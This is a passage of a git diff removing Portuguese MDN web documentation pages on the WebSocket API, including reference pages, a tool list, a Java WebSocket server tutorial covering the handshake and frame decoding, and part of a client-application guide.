-<p>As is the case any time we need to work with the contents of a canvas, we start by getting the {{domxref("CanvasRenderingContext2D","2D drawing context")}} for the hidden canvas.</p>
-
-<p>Then, if the width and height are both non-zero (meaning that there's at least potentially valid image data), we set the width and height of the canvas to match that of the captured frame, then call {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}} to draw the current frame of the video into the context, filling the entire canvas with the frame image.</p>
-
-<div class="note">
-<p><strong>Note:</strong> This takes advantage of the fact that the {{domxref("HTMLVideoElement")}} interface looks like a {{domxref("HTMLImageElement")}} to any API that accepts an <code>HTMLImageElement</code> as a parameter, with the video's current frame presented as the image's contents.</p>
-</div>
-
-<p>Once the canvas contains the captured image, we convert it to PNG format by calling {{domxref("HTMLCanvasElement.toDataURL()")}} on it; finally, we call {{domxref("Element.setAttribute", "photo.setAttribute()")}} to make our captured still box display the image.</p>
-
-<p>If there isn't a valid image available (that is, the <code>width</code> and <code>height</code> are both 0), we clear the contents of the captured frame box by calling <code>clearphoto()</code>.</p>
-
-<h2 id="Fun_with_filters">Fun with filters</h2>
-
-<p>Since we're capturing images from the user's webcam by grabbing frames from a {{HTMLElement("video")}} element, we can very easily apply filters and fun effects to the video. As it turns out, any CSS filters you apply to the element using the {{cssxref("filter")}} property affect the captured photo. These filters can range from the simple (making the image black and white)  to the extreme (gaussian blurs and hue rotation).</p>
-
-<p>You can play with this effect using, for example, the Firefox developer tools' <a href="/en-US/docs/Tools/Style_Editor">style editor</a>; see <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Edit CSS filters</a> for details on how to do so.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="https://mdn-samples.mozilla.org/s/webrtc-capturestill">Try this sample</a></li>
- <li><a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill">Sample code on Github</a></li>
- <li>{{domxref("Navigator.getUserMedia()")}}</li>
- <li>{{SectionOnPage("/en-US/docs/Web/API/Canvas_API/Tutorial/Using_images", "Using frames from a video")}}</li>
- <li>{{domxref("CanvasRenderingContext2D.drawImage()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/websocket/index.html b/files/pt-pt/web/api/websocket/index.html
deleted file mode 100644
index 9820afc0b5..0000000000
--- a/files/pt-pt/web/api/websocket/index.html
+++ /dev/null
@@ -1,148 +0,0 @@
----
-title: WebSocket
-slug: Web/API/WebSocket
-tags:
- - API
- - Interface
- - WebSocket
- - WebSockets
-translation_of: Web/API/WebSocket
----
-<div>{{APIRef("Web Sockets API")}}</div>
-
-<p>O objeto <code>WebSocket</code> fornece a API para criar e gerir uma ligação <a href="/pt-PT/docs/Web/API/WebSockets_API">WebSocket</a> a um servidor, bem como para enviar e receber dados sobre a ligação.</p>
-
-<p>Para criar uma <code>WebSocket</code>, use o construtor <code><a href="/pt-PT/docs/Web/API/WebSocket/WebSocket">WebSocket()</a></code>.</p>
-
-<h2 id="Constructor">Constructor</h2>
-
-<dl>
- <dt>{{domxref("WebSocket.WebSocket", "WebSocket(url[, protocols])")}}</dt>
- <dd>Devolve um objeto <code>WebSocket</code> acabado de criar.</dd>
-</dl>
-
-<h2 id="Constantes">Constantes</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Constante</td>
- <td class="header">Valor</td>
- </tr>
- <tr>
- <td><code>WebSocket.CONNECTING</code></td>
- <td><code>0</code></td>
- </tr>
- <tr>
- <td><code>WebSocket.OPEN</code></td>
- <td><code>1</code></td>
- </tr>
- <tr>
- <td><code>WebSocket.CLOSING</code></td>
- <td><code>2</code></td>
- </tr>
- <tr>
- <td><code>WebSocket.CLOSED</code></td>
- <td><code>3</code></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt>{{domxref("WebSocket.binaryType")}}</dt>
- <dd>O tipo de dados binarios usado pela conexão.</dd>
- <dt>{{domxref("WebSocket.bufferedAmount")}} {{readonlyinline}}</dt>
- <dd>O numero de bytes de dados em fila.</dd>
- <dt>{{domxref("WebSocket.extensions")}} {{readonlyinline}}</dt>
- <dd>As extensões selecionadas pelo servidor.</dd>
- <dt>{{domxref("WebSocket.onclose")}}</dt>
- <dd>Um <em>event listener</em> para ser chamado quando a ligação terminar.</dd>
- <dt>{{domxref("WebSocket.onerror")}}</dt>
- <dd>Um <em>event listener</em> para ser chamado quando um erro ocorre.</dd>
- <dt>{{domxref("WebSocket.onmessage")}}</dt>
- <dd>Um <em>event listener</em> para ser chamado quando uma mensagem é recebida do servidor.</dd>
- <dt>{{domxref("WebSocket.onopen")}}</dt>
- <dd>Um <em>event listener</em> para ser chamado quando a ligação é iniciada.</dd>
- <dt>{{domxref("WebSocket.protocol")}} {{readonlyinline}}</dt>
- <dd>O sub-protocolo selecionado pelo servidor.</dd>
- <dt>{{domxref("WebSocket.readyState")}} {{readonlyinline}}</dt>
- <dd>O estado atual da conexão.</dd>
- <dt>{{domxref("WebSocket.url")}} {{readonlyinline}}</dt>
- <dd>O URL absoluto da WebSocket.</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<dl>
- <dt>{{domxref("WebSocket.close", "WebSocket.close([code[, reason]])")}}</dt>
- <dd>Termina a conexão.</dd>
- <dt>{{domxref("WebSocket.send", "WebSocket.send(data)")}}</dt>
- <dd>Adiciona dados à fila para ser transmitida.</dd>
-</dl>
-
-<h2 id="Eventos">Eventos</h2>
-
-<p>Observe estes eventos usando <code>addEventListener()</code> ou atribuindo um agente de escuta de eventos à propriedade <code>oneventname</code> desta interface.</p>
-
-<dl>
- <dt>{{domxref("WebSocket/close_event", "close")}}</dt>
- <dd>Lançado quando uma ligação com um <code>WebSocket</code> é fechada.<br>
- Também disponível através da propriedade {{domxref("WebSocket/onclose", "onclose")}}.</dd>
- <dt>{{domxref("WebSocket/error_event", "error")}}</dt>
- <dd>Lançado quando uma ligação com um <code>WebSocket</code> foi fechada devido a um erro, como quando alguns dados não puderam ser enviados.<br>
- Também disponível através da propriedade {{domxref("WebSocket/onerror", "onerror")}}.</dd>
- <dt>{{domxref("WebSocket/message_event", "message")}}</dt>
- <dd>Lançado quando os dados são recebidos através de um <code>WebSocket</code>.<br>
- Também disponível através da propriedade {{domxref("WebSocket/onmessage", "onmessage")}}.</dd>
- <dt>{{domxref("WebSocket/open_event", "open")}}</dt>
- <dd>Lançado quando uma ligação com um <code>WebSocket</code> é aberta.<br>
- Também disponível através da propriedade {{domxref("WebSocket/onopen", "onopen")}}.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: js notranslate">// Criar ligação WebSocket.
-const socket = new WebSocket('ws://localhost:8080');
-
-// Ligação conectada
-socket.addEventListener('open', function (event) {
- socket.send('Hello Server!');
-});
-
-// Ficar a ouvir por mensagens
-socket.addEventListener('message', function (event) {
- console.log('Message from server ', event.data);
-});</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th>Especificação</th>
- <th>Estado</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("HTML WHATWG", "#network", "WebSocket")}}</td>
- <td>{{Spec2("HTML WHATWG")}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<div>
-
-
-<p>{{Compat("api.WebSocket")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/WebSockets_API/Escrever_aplica%C3%A7%C3%A3o_cliente_de_WebSocket">Escrever aplicação cliente de WebSocket</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/websocket/websocket/index.html b/files/pt-pt/web/api/websocket/websocket/index.html
deleted file mode 100644
index 6c7a39f7ac..0000000000
--- a/files/pt-pt/web/api/websocket/websocket/index.html
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: WebSocket()
-slug: Web/API/WebSocket/WebSocket
-tags:
- - API
- - Construtor
- - Referencia
- - Web API
- - WebSocket
-translation_of: Web/API/WebSocket/WebSocket
----
-<p>{{APIRef("Web Sockets API")}}</p>
-
-<p>O construtor <code><strong>WebSocket()</strong></code> devolve um novo objeto de {{domxref("WebSocket")}}.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <em>aWebSocket</em> = new WebSocket(<em>url</em> [, protocols]);</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>url</code></dt>
- <dd>O URL a qual se conectar; este deve ser o URL a qual o servidor WebSocket responderá.</dd>
- <dt><code>protocols</code> {{optional_inline}}</dt>
- <dd>Uma <em>string</em> ou uma matriz de <em>strings</em> que representam protocolos. Estas <em>strings</em> representam sub-protocolos, para que um servidor possa implementar vários sub-protocolos WebSocket (por exemplo, pode querer que um servidor seja capaz de lidar com diferentes tipos de interações dependendo do <code>protocol</code> indicado). Se não é dado um valor ao parâmetro, fica pré-definido como uma <em>string</em> vazia.</dd>
-</dl>
-
-<h3 id="Exceções_lançadas">Exceções lançadas</h3>
-
-<dl>
- <dt><code>SECURITY_ERR</code></dt>
- <dd>A porta a qual a que se está a tentar ligar está bloqueada.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></dt>
- <dd>O URL é invalido.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.WebSocket.WebSocket")}}</p>
diff --git a/files/pt-pt/web/api/websockets_api/index.html b/files/pt-pt/web/api/websockets_api/index.html
deleted file mode 100644
index 5fa4e252e2..0000000000
--- a/files/pt-pt/web/api/websockets_api/index.html
+++ /dev/null
@@ -1,113 +0,0 @@
----
-title: WebSocket API (WebSockets)
-slug: Web/API/WebSockets_API
-tags:
- - API
- - Client
- - Comunicação
- - Servidor
- - Sumario
- - Two-Way
- - WebSocket
- - WebSocket API
- - WebSockets
- - dados
- - interativo
-translation_of: Web/API/WebSockets_API
----
-<p>{{DefaultAPISidebar("Websockets API")}}</p>
-
-<p>A <strong>WebSocket API</strong> é uma tecnologia que permite abrir uma sessão de comunicação interativa bidirecional entre o navegador do utilizador e um servidor. Com esta API, é possível enviar mensagens para um servidor e receber respostas orientadas por eventos sem ter de sondar o servidor para obter uma resposta.</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> Enquanto a conexão WebSocket é funcionalmente semelhante aos <em>sockets</em> de estilo Unix, não são relacionados.</p>
-</div>
-
-<h2 id="Interfaces">Interfaces</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/API/WebSocket"><code>WebSocket</code></a></dt>
- <dd>A interface principal para fazer conexão a um servidor de WebSocket e depois enviar e receber dados na mesma conexão.</dd>
- <dt><code><a href="/pt-PT/docs/Web/API/CloseEvent">CloseEvent</a></code></dt>
- <dd>O evento enviado pelo objeto WebSocket quando a conexão termina.</dd>
- <dt><a href="/pt-PT/docs/Web/API/MessageEvent"><code>MessageEvent</code></a></dt>
- <dd>O evento enviado pelo objeto WebSocket quando uma mensagem é recebida do servidor.</dd>
-</dl>
-
-<h2 id="Guias">Guias</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/WebSockets_API/Escrever_aplicação_cliente_de_WebSocket">Escrever aplicação cliente de WebSocket </a></li>
- <li><a href="/pt-PT/docs/Web/API/WebSockets_API/Escrever_servidores_de_WebSocket">Escrever servidores de WebSocket </a></li>
- <li><a href="/pt-PT/docs/Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_C%23">Escrever um servidor WebSocket em C#</a></li>
- <li><a href="/pt-PT/docs/Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_Java">Escrever um servidor WebSocket em Java</a></li>
-</ul>
-
-<h2 id="Tools" name="Tools">Ferramentas</h2>
-
-<ul>
- <li><a href="https://hacks.mozilla.org/2017/06/introducing-humblenet-a-cross-platform-networking-library-that-works-in-the-browser/">HumbleNet</a>: Uma biblioteca em rede multi-plataformas que funciona no navegador. Consiste num wrapper em C em torno de WebSockets e WebRTC que abstrai as diferenças entre navegadores, facilitando a criação de funcionalidades de rede multi-utilizador para jogos e outras aplicações.</li>
- <li><a href="https://github.com/uWebSockets/uWebSockets">µWebSockets</a>: Implementação de servidor e cliente WebSocket altamente escalável para <a href="https://isocpp.org/">C++11</a> e <a href="https://nodejs.org">Node.js</a>.</li>
- <li><a href="https://github.com/ClusterWS/ClusterWS">ClusterWS</a>:  Framework leve, rápida e poderosa para construir aplicações WebSocket escaláveis no <a href="https://nodejs.org">Node.js</a>.</li>
- <li><a href="https://github.com/ClusterWS/cWS">CWS</a>: Implementação rápida WebSocket de C++ para Node.js (uWebSockets v0.14 fork)</li>
- <li><a class="external" href="https://socket.io">Socket.IO</a>: Um protocolo de transferência de terceiros, baseado em long polling/WebSocket para <a href="https://nodejs.org">Node.js</a>.</li>
- <li><a href="http://socketcluster.io/">SocketCluster</a>: Uma pub/sub WebSocket framework para <a href="https://nodejs.org">Node.js</a> com foco na escalabilidade.</li>
- <li><a class="link-https" href="https://github.com/Worlize/WebSocket-Node">WebSocket-Node</a>: Uma implementação da API de servidores WebSocket para <a href="https://nodejs.org">Node.js</a>.</li>
- <li><a href="http://www.totaljs.com">Total.js</a>: Uma <em>framework</em> de aplicações web para <a href="https://www.nodejs.org">Node.js</a> (Example: <a href="https://github.com/totaljs/examples/tree/master/websocket">WebSocket chat</a>)</li>
- <li><a href="https://www.npmjs.com/package/faye-websocket">Faye</a>: Uma <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> (ligações bidireccionais) e <a href="/en-US/docs/Web/API/EventSource/">EventSource</a> (ligações unidireccionais) para <a href="https://nodejs.org">Node.js</a> Server e Client.</li>
- <li><a href="http://signalr.net/">SignalR</a>: SignalR usa WebSockets quando está disponível, e discretamente volta para outras técnicas e tecnologias quando não está, enquanto o seu código de aplicação permanece o mesmo.</li>
- <li><a href="https://caddyserver.com/docs/websocket">Caddy</a>: Um servidor web capaz de substituir comandos arbitrários (stdin/stdout) com uma <em>web socket</em>.</li>
- <li><a href="https://github.com/websockets/ws">ws</a>: uma biblioteca de cliente e servidor WebSocket popular para <a href="https://nodejs.org/">Node.js</a>.</li>
- <li><a href="https://github.com/bigstepinc/jsonrpc-bidirectional">jsonrpc-bidirectional</a>: RPC assíncrono que, numa única ligação, pode ter funções exportadas no servidor e, e ao mesmo tempo, no cliente (cliente pode chamar servidor, servidor também pode chamar cliente).</li>
- <li><a href="https://github.com/ninenines/cowboy">cowboy</a>: Cowboy é um pequeno, rápido e moderno servidor HTTP para Erlang/OTP com suporte para WebSocket.</li>
-</ul>
-
-<h2 id="Related_Topics" name="Related_Topics">Tópicos Relacionados</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/Guide/AJAX">AJAX</a></li>
- <li><a href="/pt-PT/docs/Web/JavaScript">JavaScript</a></li>
-</ul>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("HTML WHATWG", "web-sockets.html", "WebSocket API")}}</td>
- <td>{{Spec2("HTML WHATWG")}}</td>
- <td></td>
- </tr>
- <tr>
- <td><a href="https://www.w3.org/TR/websockets/">WebSockets</a></td>
- <td><span class="spec-CR">Candidate Recommendation</span></td>
- <td></td>
- </tr>
- <tr>
- <td>{{RFC(6455, "The WebSocket Protocol")}}</td>
- <td><span class="spec-RFC">IETF RFC</span></td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.WebSocket")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a class="external" href="http://tools.ietf.org/html/rfc6455">RFC 6455 — O Protocolo WebSocket</a></li>
- <li><a class="external" href="https://www.w3.org/TR/websockets/">Especificação da API WebSocket</a></li>
- <li><em><a href="/en-US/docs/Server-sent_events">Server-Sent Events</a></em></li>
-</ul>
diff --git a/files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html b/files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html
deleted file mode 100644
index d41f7c7b3e..0000000000
--- a/files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html
+++ /dev/null
@@ -1,221 +0,0 @@
----
-title: Escrever um servidor WebSocket em Java
-slug: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java
-tags:
- - HTML5
- - Handshaking
- - Tutorial
- - WebSockets
-translation_of: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java
-original_slug: Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_Java
----
-<h2 id="Introdução">Introdução</h2>
-
-<p>Este exemplo mostra-lhe como criar um servidor com API de WebSocket utilizando Oracle Java.<br>
- <br>
- Embora outras linguagens do lado do servidor possam ser utilizadas para criar um servidor WebSocket, este exemplo utiliza Oracle Java para simplificar o código do exemplo.</p>
-
-<p>Este servidor está em conformidade com o <a href="http://tools.ietf.org/html/rfc6455">RFC 6455</a>, pelo que apenas trata de ligações a partir das seguintes versões dos navegadores; Chrome 16, Firefox 11, IE 10 e superior.</p>
-
-<h2 id="Primeiros_passos">Primeiros passos</h2>
-
-<p>Os WebSockets comunicam através de uma ligação <em>{{interwiki("wikipedia", "Transmission_Control_Protocol", "TCP (Transmission Control Protocol)")}}</em>. A classe <a href="http://docs.oracle.com/javase/8/docs/api/java/net/ServerSocket.html">ServerSocket</a> do Java está localizada no pacote java.net.</p>
-
-<h3 id="ServerSocket">ServerSocket</h3>
-
-<h4 id="Construtor">Construtor</h4>
-
-<dl>
- <dt><code>ServerSocket(int port)</code></dt>
- <dd>Quando se instância a classe ServerSocket, esta é ligada ao número da porta que se especificou pelo argumento <code>port</code>.<br>
- <br>
- Aqui está uma implementação dividida em partes:</dd>
-</dl>
-
-<pre class="brush: java notranslate">import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-import java.util.Base64;
-import java.util.Scanner;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class WebSocket {
- public static void main(String[] args) throws IOException, NoSuchAlgorithmException {
- ServerSocket server = new ServerSocket(80);
- try {
- System.out.println("Server has started on 127.0.0.1:80.\r\nWaiting for a connection...");
- Socket client = server.accept();
- System.out.println("A client connected.");</pre>
-
-<h3 id="Socket">Socket</h3>
-
-<h4 id="Métodos">Métodos</h4>
-
-<dl>
- <dt><code><span class="memberNameLink"><a href="http://docs.oracle.com/javase/8/docs/api/java/net/Socket.html#getInputStream--">getInputStream</a></span>()</code></dt>
- <dd>Devolve uma <em>input stream</em> para este socket.</dd>
- <dt><code><span class="memberNameLink"><a href="http://docs.oracle.com/javase/8/docs/api/java/net/Socket.html#getOutputStream--">getOutputStream</a></span>()</code></dt>
- <dd>Devolve uma <em>output stream</em> para este socket.</dd>
-</dl>
-
-<h3 id="OutputStream">OutputStream</h3>
-
-<h4 id="Métodos_2">Métodos</h4>
-
-<dl>
- <dt><code>write(byte[] b, int off, int len)</code></dt>
- <dd>Escreve o número de bytes especificado por <code>len</code> a partir da matriz de bytes especificada por <code>b</code>, começando no índice indicado por <code>off</code> para este <em>output stream</em>.</dd>
-</dl>
-
-<h3 id="InputStream">InputStream</h3>
-
-<h4 id="Métodos_3">Métodos</h4>
-
-<dl>
- <dt><code><span class="brush: cpp" style="line-height: 1.572;">read</span>(byte[] b, int off, int len)</code></dt>
- <dd>Lê até um número de bytes especificado por <code>len</code> da matriz de bytes especificada por <code>b</code>, começando no índice indicado por <code>off</code> para este <em>input stream</em>.<em> </em></dd>
-</dl>
-
-<p>Vamos continuar o nosso exemplo.</p>
-
-<pre class="brush: java notranslate"> InputStream in = client.getInputStream();
- OutputStream out = client.getOutputStream();
- Scanner s = new Scanner(in, "UTF-8");</pre>
-
-<h2 id="Handshaking_aperto_de_mão"><em>Handshaking</em> (a<strong>perto de mão</strong>)</h2>
-
-<p>Quando um cliente se liga a um servidor, envia um pedido GET para actualizar a ligação do protocolo HTTP a uma ligação WebSocket. Isto é conhecido como aperto de mão.</p>
-
-<pre class="brush: java notranslate"> try {
- String data = s.useDelimiter("\\r\\n\\r\\n").next();
- Matcher get = Pattern.compile("^GET").matcher(data);</pre>
-
-<p>Criar a resposta é mais fácil do que compreender porque o deve fazer desta forma.</p>
-
-<p>Você deve,</p>
-
-<ol>
- <li>Obter o valor do cabeçalho de pedido da <code>Sec-WebSocket-Key</code> sem qualquer espaço em branco</li>
- <li>Combine esse valor com "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"</li>
- <li>Calcule o código SHA-1 e Base64 do mesmo</li>
- <li>Devolve-o como o valor do cabeçalho de resposta Sec-WebSocket-Accept numa resposta HTTP.</li>
-</ol>
-
-<pre class="brush: java notranslate"> if (get.find()) {
- Matcher match = Pattern.compile("Sec-WebSocket-Key: (.*)").matcher(data);
- match.find();
- byte[] response = ("HTTP/1.1 101 Switching Protocols\r\n"
- + "Connection: Upgrade\r\n"
- + "Upgrade: websocket\r\n"
- + "Sec-WebSocket-Accept: "
- + Base64.getEncoder().encodeToString(MessageDigest.getInstance("SHA-1").digest((match.group(1) + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").getBytes("UTF-8")))
- + "\r\n\r\n").getBytes("UTF-8");
- out.write(response, 0, response.length);
-</pre>
-
-<h2 id="Descodificar_mensagens">Descodificar mensagens</h2>
-
-<p>Após um aperto de mão bem-sucedido, o cliente pode enviar mensagens para o servidor, mas agora estas estão codificadas.<br>
- <br>
- Se enviarmos "abcdef", recebemos estes bytes:</p>
-
-<table>
- <tbody>
- <tr>
- <td>129</td>
- <td>134</td>
- <td>167</td>
- <td>225</td>
- <td>225</td>
- <td>210</td>
- <td>198</td>
- <td>131</td>
- <td>130</td>
- <td>182</td>
- <td>194</td>
- <td>135</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="129_FIN_RSV1_RSV2_RSV3_opcode">129 (FIN, RSV1, RSV2, RSV3, <em>opcode</em>)</h4>
-
-<p>Pode enviar a sua mensagem em fragmentos, mas por enquanto o FIN é 1 indicando que a mensagem está toda num fragmento. RSV1, RSV2 e RSV3 são sempre 0, a não ser que um significado para os bytes é negociado. <em>Opcode</em> 0x1 significa que isto é um texto (ver <a href="http://tools.ietf.org/html/rfc6455#section-5.2">lista completa de <em>opcodes</em></a>).</p>
-
-<table>
- <thead>
- <tr>
- <th scope="col">FIN (É o último fragmento da mensagem?)</th>
- <th scope="col">RSV1</th>
- <th scope="col">RSV2</th>
- <th scope="col">RSV3</th>
- <th scope="col"><em>Opcode</em></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>1</td>
- <td>0</td>
- <td>0</td>
- <td>0</td>
- <td>0x1=0001</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="134_comprimento_da_mensagem">134 (comprimento da mensagem)</h4>
-
-<p>O comprimento da mensagem é indicada das seguintes formas:</p>
-
-<ul>
- <li>Se o segundo byte menos 128 estiver entre 0 e 125, este é o comprimento da mensagem,</li>
- <li>Se o resultado é 126, os seguintes 2 bytes (inteiro de 16 bits sem assinatura) ditam o comprimento,</li>
- <li>E se o resultado é 127, os 8 bytes seguintes (64-bit inteiro não assinado, o bit mais significativo DEVE ser 0) são o comprimento.</li>
-</ul>
-
-<h4 id="167_225_225_e_210_chave_para_descodificar">167, 225, 225 e 210 (chave para descodificar)</h4>
-
-<p>Estes são os bytes da chave para descodificar. A chave muda para cada mensagem.</p>
-
-<h4 id="198_131_130_182_194_135_conteúdo_da_mensagem">198, 131, 130, 182, 194, 135 (conteúdo da mensagem)</h4>
-
-<p>Os restantes bytes codificados são a mensagem.</p>
-
-<h3 id="Algoritmo_para_descodificar">Algoritmo para descodificar</h3>
-
-<p>O algoritmo usado para descodificar a mensagem é o seguinte:</p>
-
-<p><em>D<sub>i</sub></em> = <em>E<sub>i</sub></em> XOR <em>M</em><sub>(<em>i</em> mod 4)</sub></p>
-
-<p>onde <em>D</em> é a série de bytes da mensagem descodificados, <em>E</em> é a série de bytes da mensagem codificados, <em>M</em> é a série de bytes da chave, e <em>i</em> é o índice do byte da mensagem a ser descodificado.</p>
-
-<p>Exemplo em Java:</p>
-
-<pre class="brush: java notranslate"> byte[] decoded = new byte[6];
- byte[] encoded = new byte[] { (byte) 198, (byte) 131, (byte) 130, (byte) 182, (byte) 194, (byte) 135 };
- byte[] key = new byte[] { (byte) 167, (byte) 225, (byte) 225, (byte) 210 };
- for (int i = 0; i &lt; encoded.length; i++) {
- decoded[i] = (byte) (encoded[i] ^ key[i &amp; 0x3]);
- }
- }
- } finally {
- s.close();
- }
- } finally {
- server.close();
- }
- }
-}</pre>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/WebSockets_API/Escrever_servidores_de_WebSocket">Escrever servidores de WebSocket</a></li>
-</ul>
-
-<div id="cke_pastebin"></div>
diff --git a/files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html
deleted file mode 100644
index 08b86ecca8..0000000000
--- a/files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html
+++ /dev/null
@@ -1,181 +0,0 @@
----
-title: Escrever aplicação cliente de WebSocket
-slug: Web/API/WebSockets_API/Writing_WebSocket_client_applications
-tags:
- - Client
- - Exemplo
- - Guía
- - Networking
- - Web Sockets API
- - WebSocket
- - WebSocket API
- - WebSockets
-translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications
-original_slug: Web/API/WebSockets_API/Escrever_aplicação_cliente_de_WebSocket
----
-<div>{{APIRef("Websockets API")}}</div>
-
-<p>WebSocket client applications use the <a href="/en-US/docs/Web/API/Websockets_API">WebSocket API</a> to communicate with <a href="/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_servers">WebSocket servers</a> using the WebSocket protocol.</p>
-
-<p>{{AvailableInWorkers}}</p>
-
-<div class="note">
-<p><strong>Note:</strong> The example snippets in this article are taken from our WebSocket chat client/server sample. <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">See the code</a>, then <a href="https://mdn-samples.mozilla.org/s/websocket-chat">try out the example for yourself</a>.</p>
-</div>
-
-<h2 id="Creating_a_WebSocket_object">Creating a WebSocket object</h2>
-
-<p>In order to communicate using the WebSocket protocol, you need to create a {{domxref("WebSocket")}} object; this will automatically attempt to open the connection to the server.</p>
-
-<p>The WebSocket constructor accepts one required and one optional parameter:</p>
-
-<pre class="syntaxbox notranslate"><em>webSocket</em> = new WebSocket(<em>url</em>, <em>protocols</em>);
-</pre>
-
-<dl>
- <dt><code>url</code></dt>
- <dd>The URL to which to connect; this should be the URL to which the WebSocket server will respond. This should use the URL scheme <code>wss://</code>, although some software may allow you to use the insecure <code>ws://</code> for local connections.</dd>
- <dt><code>protocols</code> {{ optional_inline() }}</dt>
- <dd>Either a single protocol string or an array of protocol strings. These strings are used to indicate sub-protocols, so that a single server can implement multiple WebSocket sub-protocols (for example, you might want one server to be able to handle different types of interactions depending on the specified <code>protocol</code>). If you don't specify a protocol string, an empty string is assumed.</dd>
-</dl>
-
-<p>The constructor will throw a <code>SecurityError</code> if the destination doesn't allow access. This may happen if you attempt to use an insecure connection (most {{Glossary("user agent", "user agents")}} now require a secure link for all WebSocket connections unless they're on the same device or possibly on the same network).</p>
-
-<h3 id="Connection_errors">Connection errors</h3>
-
-<p>If an error occurs while attempting to connect, first a simple event with the name <code>error</code> is sent to the {{domxref("WebSocket")}} object (thereby invoking its {{domxref("WebSocket.onerror", "onerror")}} handler), and then the {{domxref("CloseEvent")}} is sent to the <code>WebSocket</code> object (thereby invoking its {{domxref("WebSocket.onclose", "onclose")}} handler) to indicate the reason for the connection's closing.</p>
-
-<p>The browser may also output to its console a more descriptive error message as well as a closing code as defined in <a class="external" href="http://tools.ietf.org/html/rfc6455#section-7.4" title="RFC 6455 Section 7.4">RFC 6455, Section 7.4</a> through the {{domxref("CloseEvent")}}.</p>
-
-<h3 id="Examples">Examples</h3>
-
-<p>This simple example creates a new WebSocket, connecting to the server at <code><span class="nowiki">wss://www.example.com/socketserver</span></code>. A custom protocol of "protocolOne" is named in the request for the socket in this example, though this can be omitted.</p>
-
-<pre class="brush: js notranslate">var exampleSocket = new WebSocket("wss://www.example.com/socketserver", "protocolOne");
-</pre>
-
-<p>On return, {{domxref("WebSocket.readyState", "exampleSocket.readyState")}} is <code>CONNECTING</code>. The <code>readyState</code> will become <code>OPEN</code> once the connection is ready to transfer data.</p>
-
-<p>If you want to open a connection and are flexible about the protocols you support, you can specify an array of protocols:</p>
-
-<pre class="brush: js notranslate">var exampleSocket = new WebSocket("wss://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
-</pre>
-
-<p>Once the connection is established (that is, <code>readyState</code> is <code>OPEN</code>), {{domxref("WebSocket.protocol", "exampleSocket.protocol")}} will tell you which protocol the server selected.</p>
-
